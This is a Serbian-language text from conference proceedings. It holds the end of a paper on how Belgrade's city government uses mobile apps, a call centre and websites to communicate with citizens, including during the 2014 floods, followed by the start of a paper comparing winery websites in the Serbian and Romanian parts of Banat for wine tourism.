Mobilni telefoni koji se koriste daju mogućnost i upotrebe velikog broja aplikacija koje obezbeđuju dostupnost raznovrsnih informacija. Tako, na veoma brz i jednostavan način, građani Beograda upotrebom aplikacija na modernim i "pametnim" telefonima mogu doći do informacija o dešavanjima u gradu, poput sportskih dešavanja, kulturnih manifestacija i slično. Sa druge strane, korišćenjem ovih tehnologija, koje se mogu svrstati u kategoriju modernih informaciono- komunikacionih tehnologija, građani Beograda mogu saznati šta se dešava u gradu, a tiče se svakodnevnog života i komunalnih delatnosti. Trenutno je aktuelna aplikacija za mobilne telefone "Beokom". Aplikaciju "Beokom servisa" koja je dostupna korisnicima mobilne telefonije mogu preuzeti i mobilni telefoni koji rade na IOS platformi ("epl" uređaji) [2]. Preuzimanje ove aplikacije je besplatno. Ovom aplikacijom omogućava se brzo i lako prijavljivanje komunalnih problema u Gradu Beogradu. Na aplikaciji se objavljuju sve vesti vezane za komunalni sistem, razvojni projekti i modernizacija, najave radova koji će se obavljati na celoj teritoriji grada, kao i najave događaja koji će se odvijati u Beogradu. Korisnici mogu da pročitaju i servisne

informacije jer se objavljuju svi planirani radovi gradskih javnih preduzeća i javnih komunalnih preduzeća. Pored svih pomenutih informacija, takođe, objavljuju se i informacije o izmenama režima saobraćaja u delovima grada gde se obavljaju radovi, kao i informacije od javnog značaja, ankete putem kojih sugrađani, korisnici aplikacije, mogu direktno da ocene funkcionisanje kako same aplikacije, tako i rad "Beokom servisa", a u posebnom delu aplikacije dat je spisak svih brojeva telefona gradskih službi. Prijavljivanje problema je deo u kojem korisnici aplikacije jednostavnim registrovanjem sa lica mesta mogu prijaviti komunalni problem, sa fotografijom problema, koji se odmah, direktno, šalje u bazu "Beokoma" i prosleđuje nadležnoj službi, a sugrađanina koji je prijavio problem u najkraćem roku kontaktiraju operateri Beogradskog pozivnog centra radi eventualnih dodatnih informacija. Kada "Beokom servis" dobije odgovor od službe koja je nadležna i kojoj je problem prijavljen, korisnik aplikacije se telefonskim putem obaveštava o odgovoru [1]. Komunikacijom putem aplikacije za mobilne telefone "Beokom" u toku 2016. godine postavljeno je 1419 vesti i 2844 servisnih informacija. Ovu aplikaciju građani mogu besplatno preuzeti sa Google play store i sa App store. Sa Google play store je preuzeta 4550 puta, a sa I store platforme 195 puta [2].

Takođe, još jedna korisna i upotrebljiva aplikacija je aplikacija za mobilne telefone "Beograđani". Stanovnici Beograda su ovom aplikacijom dobili šansu da daju predloge o uređenju parkova, javnih prostora, biciklističkih staza, unapređenju prevoza. Time se daje mogućnost da građani Beograda doprinesu daljem razvoju glavnog grada Republike Srbije i naseljenih mesta gde pojedinačno žive. Komunikacijom putem aplikacije za mobilne telefone "Beograđani" objavljeno je 115 vesti u 2016. godini. Ovu aplikaciju, koja se može besplatno preuzeti sa Google play store i sa App store, koristi 3120 građana [2]. "Beokom servis" raspolaže i sa internom bazom podataka na koju se mogu objavljivati i razne informacije vezane za svakodnevni život u Beogradu. U prethodnoj godini objavljeno je preko tri hiljade objava u okviru ove interne baze podataka. To dovoljno govori o značaju interne baze podataka koja se koristi u cilju komunikacije sa građanima Beograda.



Slika 1. Broj instaliranja aplikacija u 2016. godini [2].

Građani do raznih informacija, a koje se tiču života na teritoriji grada Beograda, često dolaze i putem različitih vidova medija. Gradske vlasti Grada Beograda prepoznale su i ovaj vid komunikacije kao jedan izraženo važan segment u odnosu sa građanima. Nastoji se da se svakoj od medijskih kuća izađe u susret sa ažurnim informacijama. Međutim, kada je reč o upotrebi informaciono-komunikacionih tehnologija, naglasak u odnosu sa medijima je akutelni sajt Grada Beograda. Uvidelo se da većina medija koristi zvanične sajtove brojnih institucija, kako bi došli do aktuelnih informacija. U tom cilju, Služba za komunikacije i koordinaciju odnosa sa građanima nastoji da svakodnevno pruža ažurne informacija na zvaničan sajt Grada Beograda. Kasnije, mediji mogu to koristiti kao zvaničan izvor i preneti informacije građanima u cilju njihove informisanosti o aktulenom stanju u Gradu Beogradu.

Korišćenje informaciono-komunikacionih tehnologija karakteristično je i u okviru sektora "Beogradski pozivni centar". Zaposleni u Sektoru "Beogradski pozivni centar" ostvarili su 126.621 poziva, od čega je 117.701 dolaznih poziva i 8.920 odlaznih poziva ka građanima, a od čega je kreirano ukupno 54.160 predmeta. Broj primljenih prijava putem e-maila je 795, putem "Beokom" aplikacije 1254, ostale prijave su primljene putem telefona. Od ukupnog broja kreiranih predmeta 27.368 je prosleđeno javno komunalnim preduzećima, javnim preduzećima i ostalim subjektima koji su nadležni za rešavanje, a 14.528 predmeta je bilo u nadležnosti Komunalne policije [2]. Kao što se vidi iz navedenih statističkih podataka, najdominantiji vid komunikacije sa ovim sektorom je putem telefona. Kada je reč o upotrebi informaciono-komunikacionih tehnologija koje su dostupne u radu ovog sektora, vidi se malo ušeće primljenih prijava putem e-maila, odnosno aplikacije. Međutim, očekuje se da u budućnosti bude sve veća upotreba "Beokom" aplikacije za prijavu komunalnih problema.



Slika 2. Broj primljenih prijava u 2016. godini [2].

Postoji još jedan karakterističan vid komunikacije između gradske uprave Grada Beograda i građana, a to je mogućnost da se zakažu sastanci sa članovima Gradskog veća i gradonačelnikom. Preko Sektora "Beogradski pozivni centar" građani su se javljali da zakažu sastanak sa članovima Gradskog veća i gradonačelnikom. Za sastanak sa gradonačelnikom prijavljeno je 1490 građana, a za Gradsko veće 315 građana [2].

4. UPOTREBA INFORMACIONO-KOMUNIKACIONIH TEHNOLOGIJA U KOMUNIKACIJI SA GRAĐANIMA TOKOM VANREDNE SITUACIJE

Prethodno navedene aplikacije, koje su dostupne građanima Beograda, karakteristične su za redovne okolnosti. Sa druge strane, neke od njih koriste se i u slučaju vanrednih situacija na teritoriji Grada Beograda.

Komunikacija u vanrednim situacijama je od velikog značaja. Česta je pojava da tokom različitih elementarnih nepogoda i drugih nesreća dolazi do prekida u komunikacionim kanalima usled narušavanja rada operatera mobilne i fiksne telefonije. Takođe, narušavanje snabdevanja električnom energijom može dovesti do otežanog ili onemogućenog komuniciranja tokom vanredne situacije. Teritorija Grada Beograda, kao i cele Republike Srbije, poslednjih nekoliko godina bila je ugrožena različitim rizicima usled kojih je morala biti proglašena vanredna situacija. Jedan od najboljih primera za to jesu majske poplave, koje su zahvatile veći deo Republike Srbije tokom maja 2014. godine. Teritorija Grada Beograda takođe je bila ugrožena ovim poplavama, a posebno teritorija gradske opštine Obrenovac. Kada je komunikacija u pitanju, od prvog dana poplava koje su pogodile Grad Beograd postojali su veliki problemi i poteškoće. Značaj informisanja javnosti tokom vanredne situacije bio je očigledan

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tokom majskih poplava 2014. godine. Prema medijskim izveštajima, među najistaknutijim problemima bili su građani koji su bez opravdanih i racionalnih razloga odbijali evakuaciju. Reakcija javnosti koja može varirati od panike do potpune kontrole situacije u velikoj meri zavisi od kapaciteta i sposobnosti kriznih upravljača da pravovremeno i adekvatno podele informacije sa građanima.

Drugi problem koji se javio bilo je da su političari i mediji (uključujući i "nove medije" poput društvenih mreža i raznih blogova i portala) bili deo problema, pre nego deo rešenja krize [6]. "Beokom servis" imao je svoju ulogu u komuniciranju sa građanima i tokom majskih poplava 2014. godine, upotrebom standardnih, kao i modernih informaciono-komunikacionih tehnologija. Uloga se ogledala u vidu centralnog informativnog servisa građana Beograda. Kada se kaže da su prevashodno korišćena standardna sredstva za komunikaciju, prvo se misli na prijem telefonskih poziva onih kojima je bila neophodna pomoć i dalje prosleđivanje informacije nadležnim organima, kao što su Operativni centar Uprave za vanredne situacije u Beogradu, Gradski štab za vanredne situacije Grada Beograda, Crveni krst Srbije i drugi. Tokom poplava 2014.godine, "Beokom servis" vršio je prijem telefonskih poziva građana sa područja Obrenovca kojima je bila potrebna hitna evakuacija. "Beokom servis" vršio je prijem poziva lica koja su evakuisana iz Gradske opštine Obrenovac, a nisu evidentirana u nekom od trijažnih centara u Beogradu (evidentirano je 9906 lica) [4]. Sledeća tabela govori o broju poziva koje su primili zaposleni u "Beokom servisu" tokom majskih poplava 2014. godine.

Datum	Broj poziva
15.05.2014.	768
16.05.2014	1537
17.05.2014.	2597
18.05.2014.	1620
19.05.2014.	1348
20.05.2014.	1923
21.05.2014.	1148
22.05.2014.	965
Ukupno	11906

Tabela 1. Broj ostvarenih poziva sa "Beokom servisom".

Pored komunikacije sa građanima koja je ostvarena putem telefonskih poziva, zaposleni u "Beokom servisu" primali su veliki broj informacija i elektronskim putem. Tim komunikacionom kanalom, redovno i vanredno pristizale su informacije o trenutnom stanju na poplavljenim područjima, kao i potrebama za evakuacijom i zbrinjavanjem ugroženog stanovništva. Takođe, upotrebom informaciono-komunikacionih tehnologija nastojalo se da se što bolje koordinara aktivnostima komunalnih preduzeća koja su bila angažovana tokom kritičnih dana, kao i kasnije tokom asanacije terena. Na ovaj način "Beokom servis" imao je značajnu ulogu kako ne bi dolazilo do preklapanja upotrebe resursa i mehanizacije. Time se doprinelo značajnim uštedama i u vremenu, a isto tako i u materijalno-finansijskom pogledu. Informacije koje su prosleđivane preko "Beokom servisa" bile su od velike koristi tokom majskih poplava 2014. godine, kako građanima, tako i u radu nadležnih institucija i Gradskog štaba za vanredne situacije Grada Beograda.

5. PLAN ZA RAZVOJ KOMUNIKACIJE SA GRAĐANIMA UPOTREBOM INFORMACIONO-KOMUNIKACIONIH TEHNOLOGIJA

Sekretarijat za poslove odbrane, vanrednih situacija, komunikacije i koordinacije odnosa sa građanima, koji je nadležan za komunikaciju sa građanima, konstantno radi na unapređenju svog rada. Kao što se navelo u prethodnim poglavljima, informaciono-komunikacione tehnologije predstavljaju značajan element u različitim vidovima komunikacije. Poznato je da se u ovoj oblasti ostvaruje stalan razvoj i da je neophodno ispratiti svaki vid promene. Nadležni gradski sekretarijat radi na uvođenju inovacija koje se posebno odnose na informaciono-komunikacione tehnologije, kako bi se ostvarila maksimalna efikasnost i efektivnost u komunikaciji sa građanima.

Neke od najvažnijih planskih aktivnosti koje su planirane za naredni period u ovoj oblasti mogu se navesti:

- Početak uvođenja E-uprave u Grad Beograd koji je planiran da čini jedinstvenu celinu sa E-upravom Republike Srbije;
- Izrada portala Grada Beograda koji bi objedinio postojeći sajt grada, pojedinačne prezentacije jedinica uprave, sve sajtove i prezentacije gradskih opština, preduzeća i ustanova čiji je osnivač Grad Beograd;
- Instalacija i puštanje u rad softvera za potrebe Sektora "Informacioni centar" – Odeljenja za praćenje, koordinaciju i upravljanje, koji ima za cilj evidentiranje i praćenje svih gradilišta u Gradu Beogradu;
- Proširenje saradnje sa gradskim preduzećima "Zelenilo Beograd", "Beograd put" i "Parking

servis" u smislu uvođenja ovih preduzeća u Beogradski pozivni centar, kako bi se pozivom jedinstvenog gradskog broja 0800-11-00-11 mogli dobiti operateri ovih preduzeća [3].

Iz navedenog se može zaključiti da Grad Beograd preko svoje organizacione jedinice nadležne za komunikacije i koordinacije odnosa sa građanima nastoji da što više implementira moderne informaciono-komunikacione tehnologije u svoj svakodnevni rad. Postoje i određena organičenja, prevashodno u pogledu finansijskih sredstava. Međutim, jasno je da su ulaganja u ovoj oblasti opravdana i da se bez dobre komunikacije sa građanima ne može očekivati sticanje poverenja u rad gradskih vlasti.

6. ZAKLJUČAK

Grad Beograd, u skladu sa svetskim trendovima rada velikih metropola, nastoji da konstantno unapređuje komunikaciju sa svojim građanstvom. Informaciono-komunikacino tehnologije prepoznate su kao koristan alat bez koga je u savremenom društvu nemoguće ostvariti adekvatnu komunikaciju sa građanima. Većina žitelja Grada Beograda, bez obzira na uzrast, koristi mobilne telefone i kompjutere u cilju informisanosti o raznim oblastima. Na osnovu toga, treba im obezbediti informacije koje će biti uvek dostupne i ažurne.

Na osnovu svega iznetog u radu, jasno je da gradske vlasti Grada Beograda sve više koriste moderne informaciono-komunikacine tehnologije kako bi građani uvek mogli doći do pravovremene informacije. Aplikacije poput "Beokom" i "Beograđani" pružaju raznovrsne mogućnosti. Pored prijavljivanja aktuelnih komunalanih problema, kao što je prijavljivanje kvarova, oštećenih puteva i slično, moguće je dati i predloge za unapređenje života na teritoriji Grada Beograda. Takođe, Služba za komunikacije i koordinaciju odnosa sa građanima koristi i društvene mreže u cilju pružanja informacija građanima. Zvaničan veb-portal Beograda je dobro sredstvo za pružanje informacija i komunikacije sa građanima. Pored aktuelnog korišćenja informaciono-komunikacionih tehnologija, gradska uprava Grada Beograda svojim planom za naredni period predviđa implementiranje i novih sredstava komunikacije putem mobilnih telefona i računarske tehnike. Takođe, i budžetom su predviđena određena sredstva za ulaganje u ovu oblast.

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THE USAGE OF CONTEMPORARY ICT RESOURCES FOR THE COMMUNICATION BETWEEN THE CITY AUTHORITY AND THE CITIZENS: THE CITY OF BELGRADE AS THE GOOD PRACTICE EXAMPLE

Abstract:

The communication between citizens and city authority is very important, especially in big cities. Citizens want to know what happen, where problems occur and when it will be solved. On the other side, representatives of city authority will create more confidence among citizens if they provide to them proper information. Nowadays are available a variety of information and communications technology which can facilitate communication between citizens and city authority. The special attention is paid to communication when emergency events or situation occur. The citizens should have opportunity to remark some problem at the territory of the city. In the case of urgency when the time is limited using modern information and communications technology is useful for cooperation between citizens and the city authority. The City of Belgrade, as the capital city of the Republic of Serbia, is one example of good practice in this area. The Belgrade's city authority recognizes need for using modern information and communication technology in the communication with citizens. The special service of the city authority is responsible for these tasks. In its work use few applications which are available for citizens. Also, communication can be achieved through the social networks.

Keywords:

city authority, citizens, information and communication technology, the City of Belgrade, the social networks.

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INTERNET AND DEVELOPMENT PERSPECTIVES

ZNAČAJ INTERNET PREZENTACIJE ZA RAZVOJ VINSKOG TURIZMA BANATA (SRPSKI I RUMUNSKI BANAT)

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Rezime:

Internet danas predstavlja jedan od najznačajnijih medija. Njegova primena je široko rasprostranjena u društvu, ekonomiji, privredi, turizmu. Savremeni turista planirajući svoja putovanja često se oslanja i koristi internet kao sredstvo informisanja. Pružaoci turističkih usluga se putem interneta otvaraju prema svetu, prezentuju potrebne informacije o sebi, proizvodima i uslugama koje nude. Internet vinarijama pruža mogućnost lakog i efikasnog predstavljanja. Mnoge vinarije širom sveta poseduju zvaničnu internet stranicu, putem koje turisti mogu da se informišu o istorijatu, lokaciji, kontaktima, cenama, vinima ali i uslugama koje mogu da im budu pružene prilikom obilaska vinarija. Cilj rada je da se na primeru vinarija iz banatskog regiona ukaže na veliki značaj koji savremene informacione tehnologije imaju na poslovanje vinarija. U radu je izvršena komparacija internet prezentacija vinarija koje se nalaze u Banatu sa srpske strane i vinarija iz Banata sa rumunske strane.

Ključne reči:

Banat, vinarije, vinski turizam, savremeni turista, internet.

1. UVOD

Vinski turizam je jedna vrsta turizma koja se brzo prilagodila potrebama svetskog turističkog tržišta. Potreba za saznanjem i analizom ove turističke forme nastala je kao rezultat turističke potražnje za promenom prirode turizma i otkrivanjem lokalne tradicije, uz degustaciju vina i upoznavanje tehnologije pripreme [1].

Savremeni turista ima sve probranije zahteve i opredeljuje se za odabrane programe koji će zadovoljiti njegove nejdelikatnije turističke potrebe. Turistička tržišta Evrope i sveta karakteriše znatno prisustvo gotovo uniformisanih programa, koji se godinama ne menjaju. Otuda se među savremenim turistima javljaju tendencije traženja novih, specifičnih prostora, kao i novih načina prezentacije turističkih proizvoda. Poslednjih petnaestak godina, svetski turizam uključio je ponudu vezanu za vinogradarstvo i vinarstvo, koja se pokazala veoma uspešnom. Vinski turizam je prisutan u najpoznatijim vinogradarskim regijama poput Toskane i Pijemonta u Italiji, Burgundije i Bordoa u Francuskoj, Rajnske oblasti u Nemačkoj, Gradišća u Austriji, Kalifornije u SAD-u itd. Vino je postalo motiv za otkrivanje novih destinacija, posetu poznatim i cenjenim podrumima, potraga za novim proizvođačima, upoznavanje drugih kuhinja, običaja,

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navika i manifestacija [2]. Vinski turizam je sve aktuelniji u poslednje vreme, odnosno na turističkom tržištu se javila nova vrsta turista kojima je obilazak vinskih regiona postao primarni razlog posete i zadržavanja u određenoj regiji. Ova vrsta turizma objedinjuje vinsku kulturu regiona "od zasada, preko podruma, do čaše" i sve aspekte turističke privrede. Posetiocima se pruža jedinstveno čulno iskustvo uz mogućnost upoznavanja i prezentacije određenog vinogradarskog područja i njegovih karakteristika [3].

Pored novih turističkih potreba, kod savremenog turiste probudila se želja i za novim, bržim načinom informisanja. Upravo zbog toga, veliki broj turista okreće se internetu kao sredstvu informisanja. Planirajući svoja putovanja, savremeni turista često traži pomoć interneta. Koristi ga prilikom planiranja putovanja, istraživanja novih destinacija ili kupovine turističkih usluga.

Kolika je upotreba interneta u vinskom turizmu? Da li internet prezentacija zaista pomaže vinarima da svoje proizvode i usluge ponude širem tržištu? samo su neka od pitanja čiji odogovori treba da se dobiju ovim radom.

Vinski region Banata odabran je za ovu temu jer vinarije u srpskom i rumunskom Banatu vezuje jedinstveno područje sa bogatom i dugom vinogradarsko-vinskom tradicijom. One nisu na velikoj udaljenosti jedna od druge, te postoji dobra mogućnost da se u budućnosti povežu u banatski vinski put.

2. VINSKI TURIZAM BANATA

Banat predstavlja oblast u Panonskoj niziji koja se prostire na površini od 30.680 km² i zahvata delove teritorije Mađarske, Srbije i Rumunije.

Srbija:

Prema nekim istorijskim izvorima, vinogradarstvo u vršačkom kraju datira još iz vremena Dačana i rimske vladavine, a prvi pisani podatak o tome potiče iz 15. veka kada je vršačko vino 1494. godine prodato dvoru kralja Vladislava Drugog. Iz zapisa turskog putopisca Evlije Čelebije saznajemo da su padine vršačkog brega zasađene vinovom lozom koja daje slatko i ukusno grožđe [4].

Krajem 19. veka, u Vršcu je bilo više od 10.000 ha vinograda. To je bilo najveće vinogorje u Ugarskoj, po tvrdnjama nekih statističara i u Evropi, u kojoj je filoksera ostavila pravu pustoš. Proterivanjem Turaka i doseljavanjem Nemaca iz Rajnske oblasti, vinogradarstvo postaje glavna privredna grana u Gudurici, obližnjem selu [5]. Vinski region Vojvodine sastoji se od sedam rejona. Banat se nalazi u tri: Banatski rejon (Kikindsko vinogorje i Srednjebanatsko), Južnobanatski (Vršačko vinogorje, Belocrkvansko), a trećem rejonu pripada samo Severnopotisko vinogorje sa Čokom (u okviru Potiskog rejona). Vinogradi se nalaze na Vršačkim planinama i u banatskoj ravnici, i pod uticajem su kontinentalne klime. Upravo zbog toga predstavljuju jedne od njakvalitetnijih vinograda u Srbiji [2].

Region Vojvodina

- Sremski rejon
- -Fruškogorsko vinogorje
- Subotički rejon
- -Somborsko vinogorje
- -Palićko vinogorje
- -Horgoško vinogorje
- rejon Telečka
- –Zapadnotelečko vinogorje
- -Centralnotelečko vinogorje (Bačka Topola)
- –Istočnotelečko vinogorje (Mali Iđoš)
- Potiski rejon
- -Severnopotisko vinogorje (Čoka)
- -Srednjepotisko vinogorje (Bečej)
- -Južnopotisko vinogorje (Titelski breg)
- Banatski rejon
- -Kikindsko vinogorje
- -Srednjebanatsko vinogorje
- Južnobanatski rejon
- -Vršačko vinogorje
- -Belocrkvansko vinogorje
- -vinogorje Deliblatska peščara
- Vinogradarska oaza Temerin [2]

Od autohtonih sorti na prostoru Banata gaji se kreaca, koja predstavlja staru belu autohtonu sortu. Od belih sorti na području Banata gaje se i: muskat krokan, muskat otonel, neoplanta, rajnski rizling, italijanski rizling, smederevka, tamjanika bela, župljanka; dok se od crnih sorti na području Banata gaje sorte: vranac, game, frankofka, merlo, cabernet sauvignon (kaberne sovinjon) [6].

Rumunija:

Rumunija je zemlja koja spada u prvih 5 proizvođača vina u Evropi, i u prvih 10 na svetu. Ako tome dodamo i činjenicu da je Dionis, bog vina, rođen na rumunskoj teritoriji, jedina stvar koja preostaje turistima je da posete Rumuniju i uživaju u božanstvenim vinima [7]. Rumunija ima izuzetno dugu tradiciju proizvodnje vina. Vino se u Rumuniji proizvodi već 6000 godina unazad, i zbog toga Rumunija predstavlja jednog od najstarijeg proizvođača vina. Klimatski uslovi i zemljište u rumunskom delu Banata izuzetno su pogodini za gajenje vinove loze, stoga su banatski vinogradi godinama davali izvanredne plodove od kojih se proizvodilo najbolje vino Rumunije, koje se pilo i na bečkom dvoru [8].

Banatski vinski rejon obuhvata Teremianu, Tirol, Novu Moldavu, Silagiu, Rekaš.

Od sorti koje se uzgajaju u banatskom regionu mogu se naći stare autohtone sorte, ali i nove "uvezene" sorte vinove loze. Bele sorte koje najbolje uspevaju na području Banata su: italijanski rizling, muskat ortonel, dok od crnih najbolje uspevaju: merlo, pino noar (pino noir), crni burgundac [9].

3. KOMPARACIJA INTERNET STRANA VINARIJA SA PODRUČJA BANATA (SRPSKI I RUMUNSKI BANAT)

Sellitto (2004) smatra da su internet stranice odlični instrumenti koji se koriste za promociju vinskog turizma [10].

Vinski turzam je specifična vrsta turizma koja je interesantna zaljubljenicima u vino, odnosno vinskim turistima. Njih možemo okarakterisati kao posetioce vinograda, vinarija vinskih festivala i vinskih prodavnica sa ciljem odmora [2]. Vinski turisti su obrazovani, imaju veća primanja i visoko interesovanje za vino [11].

Za potrebe rada izvršena je komparacija internet strana vinarija koje se nalaze na području Banata sa srpske i rumunske strane. Komparacija je vršena kako bi se videla koja od navedenih zemalja ulaže više na prezentaciju vinarija putem interneta, čije su internet strane bolje, kvalitetnije i sa više informacija, šta to pružaju rumunske internet prezentacije, a šta pružaju srpske, da li postoje razlike, koja zemlja više osluškuje potrebe savremenog čoveka i turiste kojima internet predstavlja osnovno sredstvo informisanja.

Analiza internet prezentacija vinarija sa područja srpskog Banata

Vinarije iz Srbije čiji su se internet stranice koristile za komparaciju su: vinarija Čoka, Vršački vinogradi, vinarija Nedin, vinarija Sočanski i vinarija Vinik. Nakon istraživanja internet strana pomenutih vinarija, može se konstatovati da postoji jedan šablon po kojem se prave zvanične internet strane vinarija. Naravno, svaka internet prezentacija se po nečemu razlikuje, ali uočeno je dosta sličnosti.

Internet stranice vinarija koje su se koristile za istraživanje			
Ime vinarije	Internet adresa		
Vinarija Čoka	http://www.vinarijacoka.rs/		
Vršački vinogradi	http://www.vvinogradi.co.rs/		
Vinarija Nedin	http://vinarijanedin.com/		
Vinarija Sočanski	http://vinarijasocanski.com/		
Vinarija Vinik	http://www.dobrovino.com/		

Tabela 1. Prikaz internet strana vinarija koje su se koristile za istraživanje. Izvor: Istraživanje autora rada

Nešto što je karakteristično za internet strane vinarija jeste uvodna priča. Na svakoj internet strani turista može da se upozna sa kratkom istorijom vinarije, vinima i galerijom fotografija.

Istraživanjem je utvrđeno da svaka vinarija poseduje informacije o vinima. Ovakva vrsta informacija izuzetno je dobra jer omogućava upoznavanje posetilaca sa ukusima i aromama vina. Podaci ovakovog tipa kod posetioca mogu da stvore želju za posetom vinarije i degustaciju vina.

Za svakog turistu izuzetno je važno da dobije informaciju koja je vezana za kontakt i adresu. Na sreću, svaka vinarija je imala ovakvu vrstu informacija. Na internet stranicama vinarija može se dobiti kontakt telefon ili e-mail adresa na kojoj može da se pošalje upit ili da se zakaže degustacija. Radi lakšeg pronalaženja vinarije, na internet stranama vinarija nalazi se mapa sa tačnom lokacijom. Ukoliko ne postoji mapa, može se pronaći link, kao na primer kod vinarije Vinik, koji posetioce dovodi do mape sa tačnom lokacijom vinarije. U turizmu je upotreba engleskog jezika obavezna. Upravo zbog tog razloga, internet strane vinarija se prave dvojezično – na srpskom i engleskom. Internet strana vinarije Čoka okrenuta je inostranim posetiocima jer svoje informacije pruža na srpskom, engleskom, ruskom i kineskom jeziku.

Pregledom intermet strana utvrđeno je da vinarije Čoka i Vršački vinogradi pružaju mnoštvo zanimljivih i korisnih informacija. Vršački vinogradi imaju interesantnu priču o razvoju vinskog puta u Gudurici i blog na kojem se mogu naći mnogobrojne zanimljivosti vezane za vino. Dok vinarija Čoka, pored bloga, pruža mnoštvo različitih recepata za pripremanje hrane i uparivanje sa vinom. Ukoliko neko samo istražuje internet strane vinarija sa prostora Banata, bio bi zadovoljan količinom dobijenih podataka. Svaka vinarija pruža osnovne informacije, fotografije i kontakte. Međutim, kada govorimo o uticaju internet prezentacije za razvoj vinskog turizma, među svim internet stranama vinarija jedna se posebno istakla, a to je internet prezentacija vinarije Sočanski. Ovo je jedina vinarija koja preko svoje zvanične internet stranice vrši online prodaju vina. Ova vinarija uvidela je veliki značaj internet prezentacije, koju koristi na najbolji način. Za svoje posetioce vinarija Sočanski nudi degustaciju i turističke ture. Sve ovo moguće je unapred zakazati

putem zvanične internet strane vinarije. Moguće je izabrati između mnoštva različitih turističkih ponuda, kao što su, na primer, degustacija vina, degustacija vina sa ručkom, poseta manastiru Mesić, obilazak vinograda, vožnja fijakerom i dr. Ovo je zaista jedan potpun sajt koji treba da služi ostalim vinarijama kao primer, kako bi mogle svoju celokupnu ponudu da prezentuju i putem interneta, i tako je učine transparentnom domaćim i inostranim turistima. Da bi došlo do većeg razvoja vinskog turizma, vinarije koje se nalaze na prostoru Banata trebalo bi da slede pozitivan primer vinarije Sočanski i da od internet prezentacije izvuku maksimum koristi.

	Vinarije sa područja srpskog Banata					
	Kontakt i lokacija	Galerija	Degustacija	Online kupovina vina	Dodatna turistička ponuda	Višejezičnost sajta
Vinarija Čoka	+	+	+	-	-	4 jezika
Vršački vinogradi	+	+	+	-	-	2 jezika
Vinarija Nedin	+	+	+	-	-	1 jezik
Vinarija Sočanki	+	+	+	+	+	2 jezika
Vinarija Vinik	+	+	+	_	-	2 jezika

Tabela 2. Tabelarni prikaz internet prezentacije vinarija iz Srbije.

Izvor: Istraživanje autora rada

Analiza internet prezentacija vinarija sa područja rumunskog Banata

Vinarije sa područja Rumunije čije su se internet stranice koristile za koparaciju su: Terra Natura, Petro Vaselo, Recas Winery, Thesaurus Winery.

Internet stranice vinarija koje su se koristile za istraživanje			
Ime vinarije	Internet adresa		
Terra Natura	www.terranatura.ro		
Petro Vaselo	http://petrovaselo.com/en/home/		
Recas Winery	http://cramelerecas.ro/		
Thesauru Winery	http://www.thesauruswines.ro/		

Tabela 3. Prikaz internet strana vinarija koje su se koristile za istraživanje.

Izvor: Istraživanje autora rada

Sve vinarije, čije su internet strane pregledane i istražene, zadovoljavaju osnovne potrebe prosečnog turiste. Vinarije pružaju osnovne podatke o vinogradu, kratku istoriju vinarstva Banat, i galeriju fotografija, kontakt i adresu vinarije. Međutim, uočeno je da pojedine vinarije, kao što su Petro Vaselo i Thesaurus Winer, na svojim internet stranama daju podatke i o svom timu, odnosno upoznaju posetioce sa timom ljudi koji radi u vinariji. Ovi podaci su dobri kako za vinariju, tako i za posetioce. Zaposlenima u vinariji prija da budu predstavljeni kao deo jedne zajednice/tima, dok se posetioci već putem interneta osim vinarije upoznaju i sa zaposlenim osobljem, što relaksira atmosferu prilikom posete.

Višejezičnost internet strane postala je osnova prilikom kreiranja internet prezentacije vinarije, i nešto što zahteva svaki savremeni turista. Od istraženih internet strana, jedino vinarija Terra Natura svoje informacije pruža na rumunskom jeziku, dok sve ostale vinarije imaju dvojezične (rumunski i engleski jezik) internet strane.

Sve vinarije na svojim internet stranama poseduju prezentaciju vinskih etiketa, zajedno sa opisom aroma vina, što je, kako je i gore navedeno, sjajno jer se tako turisti unapred pripreme i znaju šta mogu očekivati prilikom degustacije vina.

Nažalost, onlajn kupovina vina nije razvijena kod rumunskih vinarija. Od četiri vinarije, jedino vinarija Terra Natura poseduje mogućnost onlajn kupovine vina.

Sa stanovištva savremenog turiste, internet prezentacije bi morale da imaju informacije koje su vezane za vinski turizam, odnosno informacije o mogućim degustacijama ili drugim turističkim uslugama. Reacas Winery pruža mogućnost onlajn zakazivanja posete vinariji. Online formular mogu da popune fizička ili pravna lica. Potrebno je ostaviti kontak informacije, uneti broj posetilaca i odabrati uslugu (poseta vinariji, degustacija vina). Internet prezentacija vinarije Reacas predstavlja jedan pozitivan primer kako internet može da pomogne vinariji da lakše prezentuje svoje usluge, ali i da pomogne posetiocu koji na brz, lak i efikasan način želi sebi da kreira individualno putovanje. Thesaurus Winery na svojoj zvaničnoj internet strani ima kontakt osobe koja je zadužena za prijem turista i organizovanje degustacije. Zainteresovani turista može putem telefonskog poziva detaljnije da se informiše i zakaže grupnu ili individualnu degustaciju. Angažovanje jedne osobe iz vinarije koja bi se bavila razvojem vinskog turizma je sjajna ideja, međutim u "moru" poziva od strane turista može doći i do zabuna.

Na kraju, ipak je jednostavnije da se putem zvanične internet strane vinarije dobiju sve informacije o turističkim paketima, i da se turistima omogući onlajn zakazivanje. Onlajn zakazivanjem vinari dobijaju e-mail sa tačnom uslugom koja je bukirana i koju turisti očekuju da će im biti pružena, dok turisti dobijaju povratan e-mail da je usluga potvrđena i zakazana. Sve je transparentno i veoma teško može da se desi greška.

Vinarija Petro Vaselo nema mogućnost da se potencijalni posetilac direktno putem internet strane informiše o mogućnosti organizovanja degustacije. Međutim, na internet strani http://www.revino.ro/en/, koja se bavi vinskim turizmom Rumunije, mogu se pronaći podaci o mogućim degustacijama u vinariji Petro Vaselo. Iako je dobro da postoji jedna zvanična internet strana koja se bavi razvojem vinskog turizma na prostoru cele Rumunije, za turistu koji se prvi put susreće sa ovom vrstom turizma nije dobro što se informacije koje govore o mogućoj poseti vinarije ne nalaze na zvaničnoj internet strani vinarije.

	Vinarije sa područja rumunskog Banata					
_	Kontakt i lokacija	Galerija	Degustac ija	Online kupovina	Dodatna turitička ponuda	Višejezičnost sajtova
Terra Natura	+	+	+	+	-	1 jezik
Petro Vaselo	+	+	+	-	+	3 jezika
Recas Winery	+	+	+	-	+	2 jezika
Theasurus Winery	+	+	+	-	+	2 jezika

Tabela 4. Tabelarni prikaz internet ponude vinarija iz Rumunije. Izvor: Istraživanje autora rada

Zaključna analiza trenutnog stanja

Na osnovu ovog istraživanja internet stranica vinarija sa prostora Banata, utvrđeno je da sve pretežno poseduju slične informacije. Međutim po nečemu se i razlikuju. Vinarije koje svoju celokupnu ponudu prezentuju putem interneta ističu se domaćim, ali i inostranim turistima. Takođe, postoji i veća mogućnost da će baš te vinarije imati veću posećenost i bolju prodaju vina.

